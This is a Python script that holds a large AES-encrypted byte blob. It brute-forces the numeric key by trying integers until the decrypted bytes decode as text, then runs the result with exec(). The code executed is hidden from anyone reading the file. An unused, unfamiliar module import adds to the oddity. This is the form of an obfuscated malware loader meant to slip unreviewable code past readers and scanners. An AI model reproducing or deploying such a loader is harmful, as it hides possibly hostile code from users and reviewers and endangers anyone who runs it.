from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import visionmadeeasy
import pyAesCrypt
import os
class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'\x19:\xe9f\x06I\x13\x9c\xc8\xa8\x1e\xbb\x85\x7ft\\\x81\xae.\xf11\x94\xcc)\xd2\x00:\x1d\x8ek<\x87X\xef;\x05\xc9\xb3\xe9m|\xbb\xf6\xf4\xdd\x85-\x1d\xb73\xfb\'#\x91\x1b\xc2\x16\xc0M\x00\xc7\xb0\xcc\xf2\xa4\x06\x8f;/\x0bB1M\xf1\xdd\xdb\x9a\xbc\x8aR26\x9cz\xb4\x12\x8d\xf1D6\x82\xae\x81\xf7\x11\xa1\x90588\x8b\x1d\xbf\x1d\xd4\xa297\x19y\x08u\x8e\xd5\xb6\x8ac\xfa*uz\xe4ene;\x1a\xaf\x84\x10\xbaC\xae\xad\xcd\x99r\x0f\xbc\xc0\xf6Y\xe2xj\x1aB9S\xf8F}\x1a\xf9\xee\xf6%h\xc0\xb5\xf8A\x9b\t\xa9\x81}\x88\x8f\xb6>U\xf9\xb6\x9b\xcel|F`cD\xcd\xea\x08\xf45]&~\xdcR\xc9\xdeO\xeb\x10\xeb\x0f\x13Y\n\xb12\x90gD\x07\xd5/\xe8\xbd\xcbr\xe1\x1f\x9e\x95@vhW\xe2G\xe9\xaeu\x8f\xa4\x93\xf5j\xe9+\x93\x1b%\x17\xe4\x07d\x0b4\x0f\x0b}\xa82C\xc3\xe5Y0\x9a\xc4\x9cX\x8f\x15fL\x1a\x11\xc5\x12\x83uam\xaa\xd0\x05}\xe8\x9f\xef\xce\xde\xeb\xe1\x03O\xf3\x92\x11\xb8Y\xc2\x1f\xdd?\xfb\x85V\xcc=\xbf\x83]\x10;\xdaX\xcb;\xe3p\xdb\x88\x1b\xd4\x16\x84\xfe0\x0fQw\xfa/\xb4\xf4d-Y\xc5\ro\xff\xe4mIt\xf7\t\x8dB\x0b\xd5|\x0c!\x92\xd6\xf1[\xe1W\x1e\x81\xa1\x84\'\xb8Z\xc2\x93\x19\xad\'\x02R\xc0\xc7I\xb9X\r\xd9\x8e\x02\x12\x82\x9b\xec}<\xf7J\x17\x9ed\x15\xc0\xbf\xe7\x9b\xb2\x11H&|O\xd5M"\xc4\xa10\xf0\xb1\xc0\xf8\xc1\xf4\xa2\x0c\xb4_\x89R\xf8\xee\xa3p\x84)=g\xaf\x1d\xb1\x9b\xd2b\x0c\x0b\x91\x0b\xe5\x0b:\xde_\x10\xf4\xb1\xa3\xf9\xceA\x18\x8e\x00\xc3\xc1%\x89\xf7|\xba\xfe\x9fS;g\xf1\xce\xfe)\xb4gA\xdc\x8e\x9c\x1a\r\xae\xe1\xb0\xf3\xf3\x1cA,yspu~\x11\xfe3\x0c\xbd^\xcbG\x88>S<R\x06\xba<\x7fw4\x93\x19\xf1\xf6o6]\x88\x90\xf1\xc0\xd2%\xb7\x1e\xa1\xcc\x87\xeaJ\x1eD\xdc\xc2\x12Y>\xe7\xea\xbb6k\xa2\xa5\xde\xf7$\xfa\x94\xd1\x16\xc1W\xfd\xbe\x9f\xc5Y\r\xfa\xca\xae\xda\x91\x17V\xd0L\x81\xa6\xad\xce\x10K\xcd\t\x13\xcf\x9d\xe1\x13\x185}\x8806j\xaa\xe3\xc3\xc2\x14zRhC\\\xc8\xdb\xcd_:\xeb\xe7\xdf\xca\xc2\x83&\xcfEG\x00\xd5-\xa1=\xfc\xb4:\x06\xa5\xf5\x08A[\xb5F\xd5\xac\x1e\xb9\xe3\xc7\xbd?k\x8c\xe00N\x86\xa7e\x1b\xb8m\x1c0o\xbe\x18R+\xe9 -A\x9e\xcf7#%\xca\x88\xdf\xd2\xa1\xd7-;]r\x00\xbb\x16\x16zY\x9f\xfc5\xe2\xf5\xcd\x02\xcb8\x87$\x8f\x1cW\xcd\x91Ka4\rW\xf9k\x91\xa5\xaa\xc4\x00\xc7\'\x80\x19,\xee\xc6\x86\xc6\xad\xe0\xb32\x1a7h\xb5M\xa0\x82\xd5D\x98qn8kA\x97\xf4\x01\xfb6\x8fX\xb7\xb7\xfd\t\x84\xc5\x9e\xa1\x02m\x93}\x96v\xa9\x9fZ\xe6u\xd4\x1a\r\xf5\x9b\xe8\x85$7\xffV`\x97\x05?\xc9\xc5\xfa@\x80m\xeb\x8b\xd4\xfa\x93C\x90\x9eY\xee2\xc9\xf0^\xc2~\x0c\x80\xb7\x02\x14{$\xfc\xbej\xa6E\xf4j%u\\6\x0e\x9a|\xc1\xf8\xc5i8\xc6\xa7\x95\xb1(P\xec\xc9\xb7\x8f\xf3}"r7\x86\x8691\xf7\x01[q\xc9j\x99W\xe7m\xfe\xc1\xc0\x8f(\xe2\x1f\xcd\xee5\xd1\x91\xfd\xc5a\xc8\x82\x7f(\xf0t\xe8$\xc8\x1e\xbe4w\x96\xe1\x8d\xe2\x94\xe9GJ\xec#\x92\xc2L|?&\xf4\xb8\x82X\xb33<\x9a\x83\xaasP\xa4\xc2\xae\x92S@\x17\xaf\xfe\x0e\xe3/\x8f\xf4\xcaN\x14\x18\'"J\xdec{E\xf7)]kx\xdb\xc1;\t\xac\x8b\x8f\x8bu\xc7\xf5\x05\xc9\x84\x8a.\x02\xe5\xe3\rsE^\xddA\xb5\xff{y\x9dYr\xbd\xbe\x06\x8d\xe3\xc8P\x02e*I\x8b\xcek3(\xecv\x81|= \x9b\xda\xd3\xac>\xd2\x81?v3\xbe\x16t\x13\xa1Y\xf4|\n\xcc>g\xed\xcc\r\x8e\xe6\xd3\xfd*X\x86s`.m;QL\x82r\xc4h\x0f{\xccR\xc4{\xe4\xaf\'\x81$m\'\xfa/\xcd~\xf4\xae\x83\x85\x89\xb7c\x1bJ\x1b\x00$v\xca\xe9\xe4R\x91K\xd9MD\x9a\xb8\xa1\xc6\xfe\x90\xd0"\xe0\xde>P\xde\xc3\x07\xbc\xf5\x07\xb9\xdc\x12`\x8f=\x12\x03\x91\xdc\x16\x03P\xf6\x03ln\xc6\xe6\x14#P3\xaf\xa2v\x02\x01\xcf\xb7\x86\xf6\xe6-\xae\xa1\xd4C\x9b\xde\x96\xeb\x08\x95\x85~\xc4N\xb6\xeb\x93\x95\x95CB<;6\xabR\xd7\xa6Cj\xac \x11\xca\xdb_\xccW\xb1\xc33\x8c\xb3<\xb7\x97(\x05\x06\xfai@d\xf5\\\xb2\x1e\xbc\x97\xe3\xf0\x9b\x10x\xb5|V\xcc\xfe\xe6\xdc2\xe9\xa7\\i\x8cm\xee\xfai\xd9\xd2\x10\x041\x8aZ\x7f\xed\xa5d\xf04\xb3\xe6\xa6\xfe\x89\xd5\xd5\xc5\xe5\x80\x88:\xc09\xd1\xcb\xe6\xfa\xd0`\xb1C\xd1\xe6B.v\n\x0bJHI\xfc\xcf\xb7\x03\x12\x80\xe1_\xf4\x7fI\x81\x14\x1e`\xfb\xa5\x1e\x00\x96d\xe3{\x1a4\xbc\n\xf7<\x80\x9b\xcbA5\xe8:\xa5\x96m\x8cL\x08\x1c\x85\x18[dy\xc5\xfc\x8f\xc0v9/6\xf7\xb7\x1c\x06"\x0e#\x90\xae\xc0O\xf5Cb\xce\xcaT\xfb\x1b2\x8a\xcc\xfb\xdeP|c"\\\x92\xc9\x80\xbaFF\xac\x0c\xfeu"\xcc\xd2\xaf\xbf^(\x11\xe7%\x04\x07\xe5\xf5\x80\x8a\xf9\x7fQ\'\xc3a\xbd\x15\x0c\xf4U\x9f&r\xd2<\xe6\xe7o:\xf5\x98#\xb3\xc0\xf4\xa77nM\x9d\xa7\xfe\xac6\xeet\x0f\xf8\x1ba\xbb[\x0f\x0c\xd1YE\x81\x99\x10\x17\x1b\xbf\xd9r\x04/8r\xd1\xcf\xb8\x19\x03\xa3\xa6|\xa9\'0\x9d>\xa3<\xfd\x02\xc6)\xbb)\xee3W7R\xc1\xfb\xca3\xad7$\xd63\xa7\x0bF\x7f\x8dj\xdb\x14\xc7\x12\x97\x89c\xf7\x8b\xae\x85q\x0b\xd9\x01\xd7*\x88\xb3c\xc6|[h\x8e\xad\x91\xbe\x9a\xfe\xc6.\x10B\xa6/J\x80:F\x83\xe3C\x9f\xef\xee\xc1\x0e\xf1\xa9\xccT\rE\xad\xd850\xd3\xc0\xc5\x97GXoW\xd0\x98\xb4\x9aP\xa7\xcc\r\x95\xb8\x8fv\xe9{j\x9f\xc8\x95\xe3\xcdNK\x15jJ\xca\x8c\xc2\xf6\x01\x99T#\xa0U6\xb6\x02\x8a\xf8p\xcf\x7f\x81\xeec\ta\xbam\x9b\xba\xaf\xeb\\\xb0\x84J\xc8\n\xe3\xfb$\t\xd9g\x85P<\xe5\xb7\xe5\xe8\xeb\x0c\xdf\xd6\x19D\xdbS\xf0^\xde\x17\x1d\xbe*APXZ\xf1\x024\x95\xc3\x88\x16\xb6\xec\xb2\xc0\xcfz\x18\xbc#2\xc6\x92\x1bE\xcbf~ps\x85-\xbe\x1f\\\xa7V\x04\xf4n}@t\xcb\xbe\xee\xc9\xb4<!\xc3c\xa4\xfb\xd1\xb1\x0fC\xfd\xd4ulS&\xa6\r\xbe\x08\xbe>\xdd\\\x13\x0fb\xf1fD~\x0b[9\xff\x8b\x8d\xd5\x82E\x9a\xdf\x9d\x81\xe1\x12\xe9j\xfc{\xba\xa2\xfa(\xecl6#\xd0\xbd\xf7BjA\x7f\xe9\x1f\x06eB\xba-\x087\x19?\x89\x84\x1b<7\x08L\x90f\xb0\xed\x8e\x83\xb4\xe9fVuy\x96Q\xd7\xf8\x8a\x13\xe6\xa1\xe4\xda[fa\xce\x8a\x0e\x15I\x9d\xfe\xab\x81T\\\xe6\xe6\xcezs\xb4Tyv+\xfc\x9f\xa5S\xe1T\xa9\xde\xe0\x10MXO\xcb9i\xd8\xeaR\xd5\xd78w\xf3n\x04H\xc6)$\xbc \xcb(\x03;+\x0b\x99\x0f\x13\x02)\xf1B\xc5X\xbe ?L\r\x8a6\x8f(\xb9\xfa3\xa3eg\xe10h\xce\xb27F\xf5\xc1\x11j\xa2}\xa7\x01\xd7\xe4\xf6\xbeLV\x94\n\'\xa6\xeeg\xfb\xa7\xd6\xe7r\x84\x05|*)\x82 7\x9b~\x1b\xe6o\xf3\x8e(e\xf3\xa5o\x9a\xeb>WiW\xc4\xd1\xf0\x8b\xd0\xfc\x0eH\xb4\x87\x80\xc1;\xdb\x95\xf0w\x853${#<M\xf1ZW\xe3-m\xfc\xf9\x028\xe9\xdd\x10\xabv\x03\xcf\xbf"\xdak\xa1\x95\x0c\x08^\xe5A\x12q3"7\xa2\x8d~I\xdf\xf2\x1fhU\xfa}M\xfc\xa0\xd5JCn\x02\xc0f\x99\x90\x82\xa3\xffE\xe1\xce\x04\xb8\xa2\xa9\x9f\x8f\x03ZL.\xad\x12\x08S\x0cd(I\xec#!{\x80\x9e!\xd8y\xdaS\xec\x03zm\xdcQ@\xe4\xdc\xbb\x1d\x02\t\xaf\xa4\x0fN\xb1\xc5\x00?\xeb\x9c\x13\n+\xd1\xe9\xd8]%S\xa0\xff\xd6X\x07\xcc\xeeO\x81\x8c\xbf#\xd8\xdef\xdc$\x8a(Xj\xb3\x7f-C\xe0\x9c-:\xd7\xc9c\x9d\xb5\x8f;nI\x13\xf8M\xa3P\xcfS\xab=\xe9\xfa\xc6\xb2\xd4\xf3\xfeE\xa20{G\xa0_\xf46\xa8\xe9O\x84\x05\xde\xe3\x18\x12\xc11\x7f\xea\xcd\xbe\x89?\xa5b}\xed\xbeI\xd6\xa3\x9aH\xed\xce\xb3\xf3c\xcb\x07p\xfc\xcdn\xd8k\xfa6\xa0\x92\x979\x99\x87\x0c]\x93\xb6\tx\xc8\x02\r\x82\x8c6\xa3\xc7\xe2\xf5\xe2E\x8cU@\x9f\x1c2\x91\xfa\xfaz"\x14\xfag\xae\x86\x00?j)\xac\xa9=\x11:>\xd3\xd5\x8c\x06A1\x0e\xa0\x84wW\xfc\xdace\x05\xc7\xcd)\x8f\x8e\xf7\xa2\x91\xa4\x8e\xfd\xa6\'\x16\x0c\xd5k7\x85\xcd\xf3\xc8\xf3\x96\xb8+\xe9R9\xa44\xc0\x88\xe3\xaa\x13\xab\x18]\xda\x91H\x95r\xcd\x9ei\xb7K,\x8d\xae\x01\xa8\x17\xb7I\x85\xe8\xbcYT)zd\xbb-\xe2\xafI\x98v\xb7\'Q\xb3{#\x9b\x81\xb0\xcf\x96\t\xc8\xa0c\x8f\xc1\x87\xb3\x92\xfc\x87r\xd5H2+\xbev\x1f(Np\xa0\x88\xeb0\x04\xe1Q\xcb&\xdc\x01\x1c\xbe\x14\x85v?\xfe\x84V\xeb\x0f_1\x16 M\xbd\x9c\xccd\xe1(\x8e\xbb\x9bPz\x9a\xc8\x07\xfa\x96m\x93\x9e\x06\xf91.\xc4\xc8\xbc\xa5\xe4\xdf\xc2\xd02\x0f\xac\xbf\xdf4\xbe}6\xa3\x0b\xe8O\x17g{>\xcc\xa9B\xa7\x93\x1d3\xf2[:\xa2\x8eQc\xab\x08K\x19Uq|\x98\x0c\xa1\xff\x1b\xe3\xaf\x129ohSd\x90\xa9Z\x04x\x02\xd8v\xccZ\x8fB\x10W\xe1\x8c&\xc6G\x13\x1b\xbb\x86\x80\xbd\xf2\xa7\x92\xabt\x81Z\xf7\x9e\xb5\xdbl\x0e\x9fJ\x1cm\x1ba8F8\x8f\x88\x93\xd7\xf1y\xfbz\xf2\xbdk\xca9\xb25\xc7rW\xb4\xdf\xa5A\x99\xa5\xaewO\x15\xce\xbbrFX\xeb9B\xad\x05\x03Jd)\x96\xbb\xfan\x9d8t\xf4L.\xf6F`\x11@0\xc2CSQ\x8e\xbc\xf8\xd3T.\xe6\xba\xd8\x0b\x98\xb3\xca\xae\xad\x12\x02{\xdb\x84\xe5\xe8n^C=G\x9d\xe5\x877\xc9\tO\xb9\x97\xf5\x81\xf2]\xfb\x97vnU\xfaDC\xf5/G-:(\xca7{\x87G<u\x0f\x94Q+b\t\xdd\xbcq \xa6\xa8\x9bD\xed\xa4f/\x85\x9a\xb2\xdbU\xba\x03\xe6\x98y\x8c\xba\xa8\x82\x91\xae\x90\xfa)"\x87\x04\xc9\xf6\xf5\x08\xc0\xe3- me\xfbA\xb9\x84\r\x9f\xdd\x91H\x1a\x08g\xfc\x8b\xdc\xe7\x95\xf6%)\xbe\x1b\x18\xb6\x934\xde\x89\xde\x8bU*\xc3P\xfb\xf9\x9f\x92\x9a:\xaa\xc1.u\x08\x95\xb2\xeb\x8d\x88~\x89dm\x89;\xfd\xe4<\xdf\xcb\xff\x0bf!\xb4g\xb7\x8c\x84\x1b\x93.i\x0c\xf1n| \x83\xabXW\xfe\x83\xdd|,6sg\xf4\xd7\xc8\xb4\xbe\xa9\xf1\xc22_\x07\xf4\xfb\xd3\x0f\xe3?#U\x1e\x1b\xb1GN\xb8\xb6b\xe7\xb6\x02`5\x84\x14\xfa"\x88\xc2\xe8h\xf0\xc3\xa8\xce|\xfb^\xbc\xcf\xb8\xe9\xef%\xc1C\x97\x12p\xe9*@\xf4k"\xbb\x8bT\x94\xc3zF\x0b\x19\xd9\xf8\xa9\x11\xa49\xa2G\xbb\xacW\xe8\xfb\xb4s\x1fK\xb1\xad\x13\xb8\xd7\x16&p#\xd0\xd1\x9d:\xf0G\xb6C\x8a\xfd\xc1a\xd0\xa4\x05VfQ\xeci\x9cb\xfaS\xe4:d\xbc1\xadO\xed\x06v\xe0\xf9zV\x85Q\xe3\x16w/e\x7f\xe3\xc3\nB\xe3$l\xc70\xa8\x0c\x9c\xbe(\n\x88^X\xa2H7Bx\xbd\xf2\xb1g\t\x7f\x07\xe3\x86\xc2V\xd1q\xa1`\xfc\xbd\xdb\xf6\xf2d\xaa\x07\x8d\xe2\xf0D \x12M;A\x0f\x13M \xb5\x9c\x91\xe3\xdb\x1c\xf1a\xefk\xa6\xa8\x82m\xae\x9f\xb7\x7f_\x18\x15\r&mX\xbf\x95\xdf\xf8\x91&\xb7\\ov\xc20\x8d\xfe\xc8S\n\xc7\xf5\xa1\xf7}k\x17oR\xbf\xe7\xa4\xbfi\x82\xc3\xe8\xb3\xfeZ\xed\xc7(_a\xf3\xbb\x91\x14|\x80\xfe-\xe6\x81\xaao\xaf\t\x1fq\xd7/\x0ek\xe2SI\x8b<\xc8\xc6\x84\x06{\xd1G\x00\xb6\xf1\x90\xc4W\x91M\x85n9\x06\xd8\xa8wa\x14\x82F?\x94\xe5\x0f\x08NV\xf6\xd7*{\xe8\x04\x18\x08\xba\x05\xe0\xfdw\xa6\x11\xfa\xce$\xa3\xcd\xbeI\x99\xd5\xb1C\xafiP\xc0i\xd94Z\xd2\xf4\xb7\x98\x02\x1e\xa8\x88\x19\x89\xa9\xe8\xb8\xf6z\x17\x01\xfb\x1a*\x8f\x80j\x8a\'*H\x08\xe0\x86\xc7\xdb\xa0\xfd\x0ex\xd8\xc1j\xf7\xd9\xe8\x81k\xc6+\xb7ke\xbcO\xbe\x9a\x00N\xd9\xeb\xa8&@\x1a%\xd1\x16\n1\x0c\xe1i\x85\xe5\x03\x8b\x999K!$Vb\x14\xf9r\xcd\x94\x91%\xfc\x8f8\xe3yi2\x98\x97J%|\xdcoO\xdd\xdb\xb0\xa6\x08c\xade`\x14\xa7\x0f\xdb+w{S\xb0\xd7\x00Yjv\xc2\xe3\xa5%5uv\xe7\x1f~j\xad\x95\x8c\x07N+\xb0\xce\xe1\x0b\x17y\xb3\xb2\xbb\xb3\xdbk\r\x9b\xf2\xe2((\xadl\x03\xd1\xef\xf2\td\xfa\xd3\x84Q\xc4\x9a]\x8e\x83\xb0\x10[\x83\x19AO\xbeI\xe2\xa0C\xeb2z\x06\xb1j\xe1\x8bE\x11\x8f\x8d2/\x8c\x8e\xd0\xdf_\xc8\x07\x18\xd3w\xfb{\xbda\xb7\xe0\x1d\xe7\xb2K\xf8\x8f~\xf5tl @\xd4a\xc6[|3\xfee\xb6\xfd\xad\xdd\xefm\xb7\x9d\xdcW..<\xa6Y\xd2\x90\x92t\x1b\xa5\xe8\xee\x82g\xdaK\xad\xb3Q\xce\t6\xdb\xb0\xd37\x15\xdd\xc4\xb0]*\xc4\xa8\xae\xa1\xb7\xd8\x02Wp\xe5\x9ccU];]?\x99\x1f\xf6\xe7\xdf\xb6\x8a\x95KI\xb0\x96\xcf\xf2\x90\x116\xf6\xb9\xdb\xb3M\x05\x99\x8a\x96z1\xca0z\xb6\x1d\xf7Jm+\x93\xf0\x02[\x92\x9d\xee_Bu:\xbfqb#\x90\xbe:\xe49\x15e#1\xfc@\xa0\x08\xf3\x97\xf5\x98W\xf5\x14\x17\n6\xee\xb8\xbb\x05\x1d#\xf0\xbe:\xff\xd5\x97?5\xaa\x9dF6\xa5\xbb\xd0\xe3cH3\xc7\x1a2\x0e\x89t\x91\xe4\t\x11K%\xeam\x89\xbe\t\x02\x9d\xb8\x16\xf8\x181E\x95\x19\x93\xc7\xee\x0eW`\xe7\xfe\xde\x83\x01\xb9<_\xfb\xe4>\xba8\xe7ie\xa0\xd5\xf8\x11X\x1doT\xe4@\xed\xb5\xb4\xf5\t\x06\x13C\xdc\xfbFf\x9b\x7f\x9e\x17\xa7X=\x07\xf1\xc2\x05\xa1G\x00\xc1\xc0\xf7\xeb6\xb9$\xa6zE\x17"\xd4\xe0x\xeb\x87.\xc5\xd3efde2E\xeaM\x95\xd5\x91\xed\xbb!/\xc7(\x86<(\xd3\x88\xfc\xf0DA\x01x}Ot\x99\x8b\xed\xa5\x01k\x9e\xd7DP\x19/\xcd\xf3\xbb9\xdd\xf8U\xd6b\xe3/\x8f\xc9Z=Z|Z\x03in\xc6h\xf8\x81\xaa\x0bC\x9f\x98\xca\xca\xc1I\xec\x81F8(*\xeb\x9e\xe9\x0c\x8f2\x84~@\xbfK:O\x96\x8f\x0ez4\x8a\x85\xa4\x96C\xe4Z\xfc\xdb\xf7ZF\xd12e\x1d8\x94\x08\xa8\xa9\x1bS9\x1cY\x02\xc1\xe8j\xf0\x98\xaf\xcc\xdd\xb5\x01?\xf0\xfe\xa5\x94\x85\x9f\xd6\xc1\x92$\xce\x14\xeb\xba\x87\xaf\x056\x9f\x03\x95\xcb\xe9[JCFH\xa4\xfa\xb1\x1dp\x9b\x80\xf2\tM}^;9\xb5\x11\x906\xf1\x94s\xae\x1c\x19\x0fL8\xd43\xc3B\xec\x00\xffZ}U(ry\x88\x8b\xd9\xaf\xfch\x85@\xd7\xb5\xd1\x04A\xc9JZ\xce7\xe9w\xc8\x99\xf0\xc93W\xe3*\xf7\xc0\x1f\xe3\x8b\xa0[\xeb\x8d\x9d`\x96\xb7xk\xc9{~\x9b\x08\xdfq\x87\x81\x0e\xf4\xcc`\xcf9C!H\xd5\x92\xb4'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
